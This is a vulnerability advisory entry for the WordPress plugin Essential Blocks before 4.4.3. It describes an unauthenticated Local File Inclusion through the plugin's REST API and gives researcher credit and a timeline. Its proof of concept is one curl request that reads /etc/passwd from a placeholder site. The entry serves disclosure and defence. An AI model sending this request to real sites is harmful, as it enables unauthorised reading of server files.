WordPress Plugin Vulnerabilities
Essential Blocks < 4.4.3 - Unauthenticated Local File Inclusion
Description
The plugin does not prevent unauthenticated attackers from overwriting local variables when rendering templates over the REST API, which may lead to Local File Inclusion attacks.
Proof of Concept
curl --url 'http://vulnerable-site.tld/wp-json/essential-blocks/v1/queries?block_type=nonexisting_block&query_data=%7B%22source%22%3A+%22post%22%7D&attributes=%7B%22__file%22%3A+%22%2Fetc%2Fpasswd%22%7D'
Affects Plugins
Fixed in 4.4.3 References
Classification
Type
LFI
OWASP top 10
CWE
Miscellaneous
Original Researcher
Marc Montpas
Submitter
Marc Montpas
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-12-21 (about 4 months ago)
Added
2023-12-21 (about 4 months ago)
Last Updated
2023-12-21 (about 4 months ago)
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